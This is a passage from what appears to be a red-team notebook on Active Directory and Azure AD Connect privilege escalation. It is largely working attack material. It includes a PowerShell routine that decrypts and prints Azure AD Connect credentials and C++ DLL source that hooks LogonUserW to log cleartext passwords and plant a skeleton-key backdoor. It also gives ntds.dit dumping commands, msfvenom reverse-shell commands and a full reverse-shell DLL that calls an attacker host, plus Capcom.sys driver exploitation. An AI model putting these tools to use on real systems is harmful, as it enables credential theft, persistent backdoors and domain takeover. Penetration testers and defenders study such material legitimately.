Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
```

### Pass Through Authentication exploit

In `Pass-through Authentication (PTA)` mode, the authentication requests are sent to the `Azure AD Connect` server through a connection established by the `Azure AD Connect Authentication Agent` (`AzureADConnectAuthenticationAgentService.exe`). Note that cloud-only accounts will not affected by the exploit as their authentication requests are processed only Azure AD-side.

The agent rely on the `LogonUserW` Win32 API function to validate the received credentials against a on-premise Active Directory Domain Controller. In order to make use of the Win32 API `LogonUser` functions, the Authentication Agent must be in possession of the authentication request cleartext username and password.

The compromise of the `Azure AD Connect` server, or more precisely put obtaining code execution in a security context with the `SeDebugPrivilege` privilege enabled, thus allow:

* for the retrieval of the authentication requests' cleartext username and password
* the implementation of a backdoor, such as an hardcoded password that would validate access for any accounts (similarly to what could be achieved against on-premise Domain Controllers with the `skeleton key` attack).

*The attacks against the `PTA`, and the code introduced below, are based on original research done by* [*Adam Chester*](https://blog.xpnsec.com/azuread-connect-for-redteam/) *and* [*Eric Saraga*](https://www.varonis.com/blog/azure-skeleton-key/)*.*

**Win32 API LogonUserW hooking**

The following code should be compiled as a `DLL` and injected into the `AzureADConnectAuthenticationAgentService` process on the `Azure AD Connect` server.

Disclaimer: the `DACL` on the payload `DLL` must be configured to grant `Read` access to the `NETWORK SERVICE` identity. If output files are being used to log the authentication requests, the `DACL` on the output folder / files should also allow write access.

The payload `DLL` will:

1. Enter the `DllMain` entry point upon loading in the `AzureADConnectAuthenticationAgentService` process.
2. Retrieve the address of the `LogonUserW` function, which is exported by the `advapi32.dll` library.
3. Update the virtual address space protection of the `LogonUserW` function region to `PAGE_EXECUTE_READWRITE` (in order to be able to modify the function code).
4. Inject in the legitimate `LogonUserW` function a jump to the hooking `LogonUserWHook` function.
5. Restore the original virtual address space protection.

Whenever an Azure AD authentication will be processed by the `AzureADConnectAuthenticationAgentService` process, the `LogonUserW` function and, in turn, the `LogonUserWHook` function will thus be called. In order to properly authenticate users, the `LogonUserWHook` function returns the result of a call to the `LogonUserExW` function (which implement the same validation but does not rely on the `LogonUserW` function).

```cpp
// Original author: Adam Chester / @_xpn_
// Source: https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7#file-azuread_hook_dll-cpp

#include <windows.h>
#include <stdio.h>
#include <fstream>

// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };

BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);

void Start(void) {
    DWORD oldProtect;

    std::ofstream outfile;
    outfile.open("<FILE_PATH>", std::ios_base::app);
    outfile << "Successfully injected payload DLL!" << "\n";
    outfile.close();

    void* LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
    if (LogonUserWAddr == NULL) {
        // Should never happen, but just incase
        return;
    }

    // Update page protection so we can inject our trampoline
    VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Add our JMP addr for our hook
    *(void**)(trampoline + 2) = &LogonUserWHook;

    // Copy over our trampoline
    memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));

    // Restore previous page protection so Dom doesn't shout
    VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}

// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
    PSID logonSID;
    void* profileBuffer = (void*)0;
    DWORD profileLength;
    QUOTA_LIMITS quota;
    bool ret;

    // Refer to "Authentication requests interception" / "Authentication Agent backdoor" sections below

    // <INJECTED_CODE_BACKDOOR>

    // Forward request to LogonUserExW and return result
    ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);

    // <INJECTED_CODE_INTERCEPTION>

    return ret;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Start();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

The `injectAllTheThings` project can be used to inject the payload `DLL` in the process using a number of techniques. One technique consist of copying the payload `DLL` path into the remote process, using `VirtualAllocEx` and a subsequent `WriteProcessMemory` call, and then remotely starting a thread that will load the payload `DLL`. A remote thread can be created using `CreateRemoteThread` and instructed to execute (`Kernel32`'s) `LoadLibraryW`.

```
# Supported injection techniques: 1 CreateRemoteThread / 2 NtCreateThreadEx / 3 QueueUserAPC / 4 SetWindowsHookEx / 5 RtlCreateUserThread / 6 SetThreadContext / 7 Reflective DLL injection

injectAllTheThings.exe -t <1 | INJECTION_TECHNIQUE_NUMBER> "AzureADConnectAuthenticationAgentService.exe" <PAYLOAD_DLL_FULL_PATH>
```

**Authentication requests interception**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_INTERCEPTION>`) to log the authentication requests.

```cpp
std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully hooked LogonUserW function!" << "\n\n";

if (ret == true) {
    outfile << "Successful authentication received:" << "\n";
}

else {
    outfile << "Unsuccessful authentication received:" << "\n";
}

// Write username.
int len_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, NULL, 0, 0, 0);
LPSTR result_username = NULL;
if (len_username > 0) {
    result_username = new char[len_username + 1];
    if (result_username) {
        int resLen_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, &result_username[0], len_username, 0, 0);
        if (resLen_username == len_username) {
            outfile.write(result_username, len_username);
            outfile << "\n";
        }
        delete[] result_username;
    }
}

// Write password
int len_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, NULL, 0, 0, 0);
LPSTR result_password = NULL;
if (len_password > 0) {
    result_password = new char[len_password + 1];
    if (result_password) {
        int resLen_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, &result_password[0], len_password, 0, 0);
        if (resLen_password == len_password) {
            outfile.write(result_password, len_password);
            outfile << "\n";
        }
        delete[] result_password;
    }
}

outfile.close();
```

**Authentication Agent backdoor (Azure Skeleton Key)**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_BACKDOOR>`) to define a password that grant access to any accounts (backdoor known as `Skeleton Key`).

```cpp
if (wcscmp(password, L"<BACKDOOR_SKELETON_KEY>") == 0) {
    return true;
}
```

***

### References

<https://blog.xpnsec.com/protecting-your-malware/> <https://blog.xpnsec.com/azuread-connect-for-redteam/> <https://www.synacktiv.com/publications/azure-ad-introduction-for-red-teamers.html> <https://github.com/fox-it/adconnectdump> <https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/> <https://www.varonis.com/blog/azure-skeleton-key/> <https://docs.microsoft.com/fr-fr/azure/active-directory/manage-apps/migrate-adfs-apps-to-azure> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-pta>


# Exploitation - Operators to Domain Admins

### Overview

The built-in `Operators` groups are granted, by default, special privileges on the Domain Controllers, through the `Default Domain Controller Policy` `Group Policy Object (GPO)` (`UID: {6AC1786C-016F-11D2-945F-00C04fB984F9}`) linked on the Domain Controllers `Organisational Unit (OU)`.

The following `security identifier (SID)` are associated to privileged built-in groups:

| SID            | Name                |
| -------------- | ------------------- |
| `S-1-5-32-544` | `Administrators`    |
| `S-1-5-32-548` | `Account Operators` |
| `S-1-5-32-549` | `Server Operators`  |
| `S-1-5-32-550` | `Print Operators`   |
| `S-1-5-32-551` | `Backup Operators`  |

```
# Default Domain Controller Policy

SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
[...]
```

### Administrators

The built-in `Administrators` / `Administrateurs` `domain local` group (`SID: S-1-5-32-544`) correspond to the original local `Administrators` group of servers being promoted to the Domain Controllers role. The domain `Administrators` group, and its members, are protected by the `AdminSDHolder` mechanism.

The members of the domain `Administrators` group:

* Have full control over all the Domain Controllers of the domain. Among others possibilities, this access can be leveraged to remotely connect to a Domain Controller and dump the Active Directory `ntds.dit` database. Refer to the `[ActiveDirectory] ntds.dit dumping` for note for techniques to do so.
* Can by default take ownership (`WriteOwner`) and modify the `DACL` (`WriteDacl`) and properties (`WriteProperty` on `00000000-[...]00`) of most Active Directory objects. Including the privileged principals (`Domain Admins`, `Enterprise Admins`, etc.) protected by the `AdminSDHolder` mechanism and the `AdminSDHolder` container itself. Those rights can be leveraged to add member(s) to the privileged domain groups or change the password of privileged users. Refer to the `[ActiveDirectory] ACL exploiting - Users and groups permissions exploitation` note more information on how to conduct this kind of attacks.

```
# Validates the presence of the default ACL relative to the domain Administrators group on the AdminSDHolder object.
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example

Get-Acl "AD:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Administrators"

  ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl,WriteOwner
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : BUILTIN\Administrators
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None
```

### Account Operators

The members of the `Account Operators` / `Opérateurs de compte` `domain local` group (`SID: S-1-5-32-548`) have full control over user and machine accounts and domain groups, except for the accounts and groups that are protected by the `AdminSDHolder` mechanism. The domain `Account Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Membership to the domain `Account Operators` group can be leveraged to:

* Add member(s) to the `DnsAdmins` group, which is not protected by the `AdminSDHolder` mechanism, to remotely execute code as `NT AUTHORITY\SYSTEM` on a Domain Controller.

  ```
  # Validates the presence of the default ACL relative to the Account Operators group on the DnsAdmins group.
  # DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
  Get-Acl "AD:\CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" | Select-Object -ExpandProperty Access | ? IdentityReference -match "Account Operators"

    ActiveDirectoryRights : GenericAll
    InheritanceType       : None
    ObjectType            : 00000000-0000-0000-0000-000000000000
    InheritedObjectType   : 00000000-0000-0000-0000-000000000000
    ObjectFlags           : None
    AccessControlType     : Allow
    IdentityReference     : BUILTIN\Account Operators
    IsInherited           : False
    InheritanceFlags      : None
    PropagationFlags      : None

  net localgroup "DnsAdmins" "<DOMAIN>\<USERNAME>" /add /domain
  dsmod.exe group "CN=DnsAdmins,CN=Users,<DOMAIN_ROOT_OBJECT>" -addmbr "<USER_DISTINGUISHED_NAME"

  Add-ADGroupMember -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
  Add-ADGroupMember -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity "DnsAdmins" -Members [<SamAccountName | DistinguishedName | SID | GUID>, ...]
  ```
* Take control of non-protected machines where privileged users have opened a session. `PowerView`'s cmdlets and `SharpHound` both wrap around the Windows `Win32API`'s `NetSessionEnum` API and can be used to enumerate sessions on remote systems. Refer to the `[ActiveDirectory] Credentials theft shuffling - Session hunting` and `[ActiveDirectory] AD scanners` notes for more information.

  Multiples techniques may be leveraged to take control of the non protected machines, including:

  * Reading the `Local Administrator Password Solution (LAPS)` password of the non-protected machines if the solution is deployed on the domain, as the `Account Operators` group can by default read all attributes of the machine accounts (including the `ms-Mcs-AdmPwd` attribute).

    ```
    Get-ADComputer -Identity <SamAccountName | DistinguishedName | SID | GUID> -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
    Get-ADComputer -Filter {ms-mcs-admpwdexpirationtime -like "*"} -Properties * | Ft Name,ms-Mcs-AdmPwdExpirationTime,ms-Mcs-AdmPwd
    ```
  * Add member(s) to non-protected domain group, or change password of non-protected domain users, that are members of the local `Administrators` group of the targeted machine. `PowerView`'s cmdlets, `PingCastle`'s `localadmin` scanner and `SharpHound`'s `LocalAdmin` collection method can all be used to enumerate local groups memberships through `RPC` calls to the `SAMR` interface of the remote system (either through direct `RPC` calls or through the `NetLocalGroupGetMembers` Windows API). Refer to the `[ActiveDirectory] Credentials theft shuffling - Local group enumeration` for more information.

### Backup Operators

The members of the `Backup Operators` / `Opérateurs de sauvegarde` `domain local` group (`SID: S-1-5-32-551`) can remotely connect to Domain Controllers and `backup` or `restore` any files due to being granted the `SeBackupPrivilege` and `SeRestorePrivilege` privileges through the `Default Domain Controller Policy` `GPO`. These privileges can be leveraged to retrieve the content of the Active Directory `ntds.dit` database (which contain the Active Directory data such as usernames and users' `NTLM` hashes and `Kerberos` secrets). The domain `Backup Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

The `SeBackupPrivilege` privilege allows for the retrieval of any file content while the `SeRestorePrivilege` grants the possibility to modify any file, even if the security descriptor on the file might not grant such access. The members of the `Backup Operators` domain group cannot directly copy the `ntds.dit` file as the `Access Control List (ACL)` on the file restrict access to the `NT AUTHORITY\SYSTEM` built-in Windows Account and the `Administrators` domain group. In order to bypass the `ACL`, the `SeBackupPrivilege` privilege must be leveraged by opening the `ntds.dit` file with the `FILE_FLAG_BACKUP_SEMANTICS` flag, which can be done using the Windows built-in utility `robocopy`.

The `SeBackupPrivilege` may not be present in the `Access Tokens` of the command interpreter process if code execution is achieved through an interactive logon session (`Logon Type` `2` or `10`) and the `User Account Control (UAC)` mechanism is configured on the Domain Controller. An `unrestricted access token` must first be obtained either:

* through the `Run as administrator` functionality in an interactive session. In such scenario, the `SeBackupPrivilege` and `SeRestorePrivilege` privileges will be listed but will be `Disabled` in the `unrestricted access tokens`.
* through `PowerShell Remoting (WinRM)` if the service (`TCP` ports `5985` and / or `5986`) is exposed on a Domain Controller and the compromised account is also a member of the `Remote Management Users` domain group. Indeed, non interactive session are not subject to the `UAC` mechanism and the PowerShell process will be running in the security context of an `unrestricted access token`. For more information on how to connect through `WinRM`, refer to the `[L7] 5985-5986 WSMan` and `[Windows] Lateral movements` notes.

In a process running in the security context of an `unrestricted access token` with both the `SeBackupPrivilege` and `SeRestorePrivilege` privileges (enabled or not), `robocopy` may be used to copy in backup mode the `ntds.dit` file. While only the `SeBackupPrivilege` privilege is actually needed to conduct the file backup, `robocopy` requires both privileges to be present in the process token to make use of the `/b` option. `robocopy` will automatically enable both privileges for the time of its execution.

As the `ntds.dit` file is continuously accessed by Active Directory processes, a shadow volume must be created in order to allow its copy. Additionally, the `HKEY_LOCAL_MACHINE\SYSTEM` must also be exported. Indeed, the sensitive information in the `ntds.dit` file is encrypted using the system `Boot Key` (also known as the `System Key`, or `SysKey`) which is located in the `HKLM\SYSTEM` registry hive. As using `reg save` to export the `HKLM\SYSTEM` registry hive would require the `SeBackupPrivilege` privilege to be enabled in the process token, `robocopy` may be used instead to copy the hive from the shadow volume (necessary anyway for the `ntds.dit` file copy).

```
# For more tools and techniques to create a shadow volume or on how to extract credentials from the ntds.dit, refer to the `[ActiveDirectory]
ntds.dit dumping` note.

diskshadow.exe
  set context persistent nowriters
  add volume c: alias <ALIAS>
  create
  expose %<ALIAS>% <DRIVE_LETTER>:

robocopy /b "<DRIVE_LETTER>:\Windows\NTDS" "<EXPORT_FOLDER>" ntds.dit
robocopy /b "<DRIVE_LETTER>:\Windows\System32\config" "<EXPORT_FOLDER>" SYSTEM

diskshadow.exe
  delete shadows volume %<ALIAS>%
  reset
```

If `robocopy` is not available on the targeted Domain Controller, or if the `SeRestorePrivilege` was removed for the `Backup Operators` group, the privilege must be `Enabled` in a process `access tokens` in order to be able to backup files. This restriction is not applied through processes executed through `PowerShell Remoting` and thus the backup of the `ntds.dit` file should preferably be done through this mean if possible.

Otherwise, if access to a Domain Controller through `PowerShell Remoting` is not a possibility and access must be done through an interactive session, a PowerShell process must be started in an elevated security context and the `SeBackupPrivilege` token manually enabled:

```
# Lists the privileges, and their status, present in the current process Access Tokens
# If SeBackupPrivilege appears as "Disabled" ("SeBackupPrivilege  Back up files and directories  Disabled"), the process runs in a elevated security context but SeBackupPrivilege must be enabled.
whoami /priv

# Starts PowerShell in an elevated context.
Right click -> "Run as Administrator"
Start-Process -Verb RunAs powershell.exe

# Enables the SeBackupPrivilege privilege in the current process Access Tokens.
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

# Open the source file with the FILE_FLAG_BACKUP_SEMANTICS flag in order to backup it.
Copy-FileSeBackupPrivilege <SHADOW_VOLUME_NTDS_DIT> <EXPORT_FILE>
reg save HKLM\SYSTEM <EXPORT_PATH>\SYSTEM
```

### DnsAdmins

The members of the `DnsAdmins` `domain local` group (variable `SID`) can manage the `DNS` services, usually hosted by the Domain Controllers, and the `Active Directory-Integrated DNS Zones (ADIDNS)`. This group exists only if the `DNS` server role is or was once installed on a Domain Controller in the domain (which is the case by default). The domain `DnsAdmins` group, and its members, are **not** protected by the `AdminSDHolder` mechanism.

Membership to the domain `DnsAdmins` group can notably be leveraged to configure the `DNS` service of a Domain Controller to load and execute an arbitrary `Dynamic Link Library (DLL)` through a `ServerLevelPluginDll` operation. As the `DNS` service (executing the `C:\Windows\system32\dns.exe` binary) is running as the local system account, this operation allows for the remote execution of code as `NT AUTHORITY\SYSTEM` on a Domain Controller.

The `dnscmd` Windows built-in utility can be used to conduct a `ServerLevelPluginDll` operation to load an arbitrary `DLL`. The specified `DLL` may be hosted on a remote network share, which can be done using `impacket`'s `smbserver.py` or directly through the Windows `File Explore` utility. Refer to the `[General] File Transfer` note for more information on those two techniques.

```
# smbserver.py [-smb2support] <SHARE_NAME> <SHARE_PATH>

# Instructs the dns.exe service of the remote Domain Controller to load and execute the specified DLL upon starting
dnscmd <DC_IP | DC_HOSTNAME> /config /serverlevelplugindll \\<SHARE_SERVER_IP>\<SHARE>\<DLL.dll>

# If code execution was achieved by others means on the Domain Controller, the modification of the DNS service configuration can be validated
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ /v ServerLevelPluginDll
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

# Stops and starts the dns.exe service on the remote Domain Controller
sc.exe \\<DC_IP | DC_HOSTNAME> stop dns
sc.exe \\<DC_IP | DC_HOSTNAME> start dns
```

A `DLL`, functional for the exploit **but that will hang the `DNS` service restart**, can be generated using `msfvenom`:

```
# Example payloads: staged (windows/shell/reverse_tcp) or stageless (windows/shell_reverse_tcp) reverse shell.
# For more information on the listeners and payloads supported by the msfvenom utility refer to "[General] Shells" note.

msfvenom -a <x86 | x64> --platform windows -p <windows/shell/reverse_tcp | windows/x64/shell/reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>
msfvenom -a <x86 | x64> --platform windows -p <windows/shell_reverse_tcp | windows/x64/shell_reverse_tcp> LHOST=<LISTENING_IP> LPORT=<LISTENING_PORT> -f dll -o <OUTPUT_DLL>
```

In order to make the restart of the `DNS` service possible, the injected `DLL` must export a number of functions and start the payload in a thread. The `DNSAdmin-DLL.cpp` file (which export the `DNS_PLUGIN_API` functions) of the `DNSAdmin DLL` project can be replaced with the following `C++` code below, which includes a reverse shell payload. The `C++` reverse shell code is based on `tudorthe1ntruder`'s `reverse-shell-poc` and the modifications are inspired from the following `IppSec` walkthrough: `https://youtu.be/8KJebvmd1Fk?t=3290`.

```
#include "stdafx.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <process.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

#define REMOTE_ADDR "<LHOST_IP>"
#define REMOTE_PORT "<LHOST_PORT>"

DWORD WINAPI ReverseShell(__in PVOID lpParameter) {
	FreeConsole();
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo* result = NULL, * ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
	return 0;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction) {
	HANDLE h;
	DWORD threadID;
	h = CreateThread(0, 0, ReverseShell, 0, 0, &threadID);
	return ERROR_SUCCESS;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginCleanup() {
	return ERROR_SUCCESS;
}

extern "C" __declspec(dllexport)
DWORD WINAPI DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PVOID ppDnsRecordListHead) {
	return ERROR_SUCCESS;
}
```

### Print Operators

The members of the `Print Operators` / `Opérateurs d'impression` `domain local` group (`SID: S-1-5-32-550`) can remotely connect and load kernel drivers on Domain Controllers due to being granted the `SeLoadDriverPrivilege` privilege through the `Default Domain Controller Policy` `GPO`. The `SeLoadDriverPrivilege` privilege can be leveraged to execute code in the kernel space as `NT AUTHORITY\SYSTEM`. This privileged code execution can be used to add members to the `Domain Admins` group or retrieve the content of the Active Directory `ntds.dit` database (which contain the Active Directory data such as usernames and users' `NTLM` hashes and `Kerberos` secrets). The domain `Print Operators` group, and its members, are protected by the `AdminSDHolder` mechanism.

Similarly to the `SeBackupPrivilege` for the `Backup Operators`, the `SeLoadDriverPrivilege` privilege requires an `unrestricted access token` and, for code execution through interactive logon sessions, to be explicitly `Enabled`. The exploit code of the `EoPLoadDriver` project, presented below, will attempt to enable the `SeLoadDriverPrivilege` privilege if executed in a process running in the security context of an `unrestricted access token`. Alternatively, refer to the `Backup Operators` section for more information on tools and techniques to obtain a process with the `SeLoadDriverPrivilege` privilege `Enabled` in its `access token`.

In order for a driver to be loaded in the Windows operating system, the driver file must be digitally signed either:

* for signature date prior to 29/07/2015, with a trusted cross-signed certificate, du to compatibility reasons for older drivers.
* with a trusted `Extended Validation Code Signing Certificate` certificate and `Windows Hardware Quality Labs (WHQL)` certified.

A legitimate and digitally signed driver vulnerable to a code execution vulnerability can be loaded and exploited in order to gain kernel space code execution. The technique allows to circumvent the need of using one's own digitally signed driver for privilege elevation purpose. The `Capcom.sys` driver match those two criteria and can be exploited using public projects.

Note that the `Capcom.sys` driver may be flagged as harmful by the eventual anti-virus solution deployed on the Domain Controller.

While kernel drivers are usually installed through the `Service Control Manager (SCM)`, as services of type `SERVICE_KERNEL_DRIVER`, and register an entry, corresponding to their configuration, in the `HKEY_LOCAL_MACHINE` registry hive (`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\`), the members of the `Print Operators` group do not have the necessary level of permissions to do so. Instead, an entry in the `HKEY_CURRENT_USER` registry hive, by default writable by the current user (`Full Control`), can be created and used to load the driver in the kernel (through the `NtLoadDriver` API). The Driver installation will not persist across reboot. Note however that as of `Windows 10 Version 1803`, the `NTLoadDriver` API seems to forbid references to registry keys under `HKEY_CURRENT_USER`.

The process can be automated using the `eoploaddriver` binary

```
# If needed, compiles the EoPLoadDriver project from the Linux operating system using MinGW.
# Alternatively, binaries are compiled on the following GitHub repository: https://github.com/umiterkol/EoPLoadDriver_Release/releases.
# The source code headers must be modified as follow:
# #include "stdafx.h" -> must be removed.
# #include <Windows.h> -> #include <windows.h>
# #include <Winternl.h>  -> #include <winternl.h>
# Compiles for 32-bits systems.
i686-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp
# Compiles for 64-bits systems.
x86_64-w64-mingw32-g++ -o eoploaddriver.exe eoploaddriver.cpp

# Creates the necessary entry in the specified registry path (in HKCU\System\CurrentControlSet\<DRIVER_NAME>) and loads the specified Windows kernel driver.
# Requires the SeLoadDriverPrivilege privilege to be Enabled in the process access token.
# The Capcom.sys driver can be found in the Capcom-Rootkit project GitHub repository (hash SHA256: da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24).
eoploaddriver.exe System\CurrentControlSet\<DRIVER_NAME> "<CAPCOM_SYS_FILE_PATH | DRIVER_SYS_FILE_PATH>"
```

The `Capcom` driver can then be exploited using multiple public projects:

```
# Replaces the current process access token to the SYSTEM access token effectively granting the current process "NT AUTHORITY\SYSTEM" privileges.
. .\CapCom-GDI-x64Universal.ps1
CapCom-GDI-x64Universal

# Requires an interactive logon session as the exploit launches a new command prompt (with "NT AUTHORITY\SYSTEM" privileges).
ExploitCapcom.exe

# Requires a meterpreter shell and will execute the specified metasploit payload.
# The vulnerability check may fail and should be commented out (check function).
msf> use exploit/windows/local/capcom_sys_exec
```

### Schema Admins

The members of the `Schema Admins` / `Administrateurs du schéma` `universal` group (`SID: S-1-5-21-<ROOT_DOMAIN>-518`) can modify the `Active Directory Schema`. The `Active Directory Schema` defines every objects class, and their attributes, that can be created in an Active Directory forest. For example, the schema defines a `securityPrincipal` class, with the mandatory `objectSid` and `sAMAccountName` attributes, that is inherited by the `user` class. The schema is shared by all the domains of the forest. By default, the only member of the `Schema Admins` group is the built-in `Administrator` account of the forest root domain. The domain `Schema Admins` group, and its members, are protected by the `AdminSDHolder` mechanism.

While membership to the domain `Schema Admins` group can not, as far current public knowledge goes, be directly leveraged to elevate privileges to `Domain Admins`, it does offer possibilities to take control of newly created Active Directory objects. The schema can be edited, if necessary on out of the domain machines, through the `Microsoft Management Console (MMC)` utility. The modifications should be made against the Enterprise Domain Controller holding the `Schema Master` `Flexible Single Master Operations (FSMO)` role.

Note that the Active Directory schema is replicated on each Domain Controllers through the standard Active Directory replication mechanisms. Additionally, the schema is kept cached in RAM on the Domain Controllers and the modifications replicated will affect new objects after the schema is reloaded in memory in a 5-minutes window.

```
# Registers the "Active Directory Schema" snap-in on the local system.
regsvr32 schmmgmt.dll

# If necessary, retrieves the Schema Master Enterprise Domain Controller.
Get-ADForest | Select-Object SchemaMaster
Get-ADForest -Server <DC_IP> -Credential <PSCredential> | Select-Object SchemaMaster

# Starts the mmc utility and adds the "Active Directory Schema" snap-in.
